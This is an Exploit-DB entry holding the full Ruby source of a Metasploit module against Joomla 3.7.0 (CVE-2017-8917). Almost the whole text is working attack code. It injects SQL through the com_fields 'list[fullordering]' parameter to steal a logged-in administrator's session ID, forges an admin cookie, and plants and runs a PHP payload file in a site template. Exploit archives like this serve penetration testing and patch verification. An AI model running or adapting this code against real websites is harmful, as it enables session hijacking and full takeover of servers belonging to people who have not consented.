Joomla Component Fields - SQLi Remote Code Execution (Metasploit)

EDB-ID: 44358
Author: Metasploit
Published: 2018-03-29
CVE: CVE-2017-8917
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF), SQL Injection (SQLi)
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Joomla

def initialize(info={})
super(update_info(info,
'Name' => 'Joomla Component Fields SQLi Remote Code Execution',
'Description' => %q{
This module exploits a SQL injection vulnerability in the com_fields
component, which was introduced to the core of Joomla in version 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mateus Lino', # Vulnerability discovery
'luisco100 <luisco100[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2017-8917' ], # SQLi
[ 'EDB', '42033' ],
[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 3.7.0', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'May 17 2017',
'DefaultTarget' => 0))

end

def check
# Request using a non-existing table
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')

if val.nil?
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end


def sqli(tableprefix, option)
# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real Administrator or Super User sessions.
if option == 'check'
start = rand_text_alpha(5)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(5)
fin_h = fin.unpack('H*')[0]

sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
else
start = rand_text_alpha(3)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(3)
fin_h = fin.unpack('H*')[0]

sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
end

# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'option' => 'com_fields',
'view' => 'fields',
'layout'=> 'modal',
'list[fullordering]' => sql
}
})

if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
return $1
end
return nil
end


def exploit
# Request using a non-existing table first, to retrieve the table prefix
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
else
table_prefix = Base64.decode64(val)
table_prefix.sub! '_session', ''
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
end

# Retrieve the admin session using our retrieved table prefix
val = sqli("#{table_prefix}_", 'exploit')
if val.nil?
fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
else
auth_cookie_part = val
print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
end

# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')
})

if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
cookie_begin = $1
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
end

# Modify cookie to authenticated admin
auth_cookie = cookie_begin
auth_cookie << '='
auth_cookie << auth_cookie_part
auth_cookie << ';'

# Authenticated session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie
})

if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
print_good("#{peer} - Successfully authenticated")
else
fail_with(Failure::Unknown, "#{peer} - Session failure")
end

# Retrieve template view
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'templates'
}
})

# We try to retrieve and store the first template found
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
template_id = $1
file_id = $2

form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
input_id = input_hidden[7].split("\"")
input_id = input_id[1]

else
fail_with(Failure::Unknown, "Unable to retrieve template")
end



filename = rand_text_alphanumeric(rand(10)+6)
# Create file
print_status("#{peer} - Creating file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'task' => 'template.createFile',
'id' => template_id,
'file' => file_id,
},
'vars_post' => {
'type' => 'php',
'address' => '',
input_id => '1',
'name' => filename
}
})

# Grab token
if res && res.code == 303 && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to [ #{location} ]")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => auth_cookie
)

# Retrieving template token
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
token = $1
print_status("#{peer} - Token [ #{token} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
end

if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
template_path = $1
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
end

else
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
end

filename_base64 = Rex::Text.encode_base64("/#{filename}.php")

# Inject payload data into file
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'template',
'id' => template_id,
'file' => filename_base64,
},
'vars_post' => {
'jform[source]' => payload.encoded,
'task' => 'template.apply',
token => '1',
'jform[extension_id]' => template_id,
'jform[filename]' => "/#{filename}.php"
}
})

if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
else
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
end

# Request payload
register_files_for_cleanup("#{filename}.php")
print_status("#{peer} - Executing payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
'cookie' => auth_cookie
})
end
end

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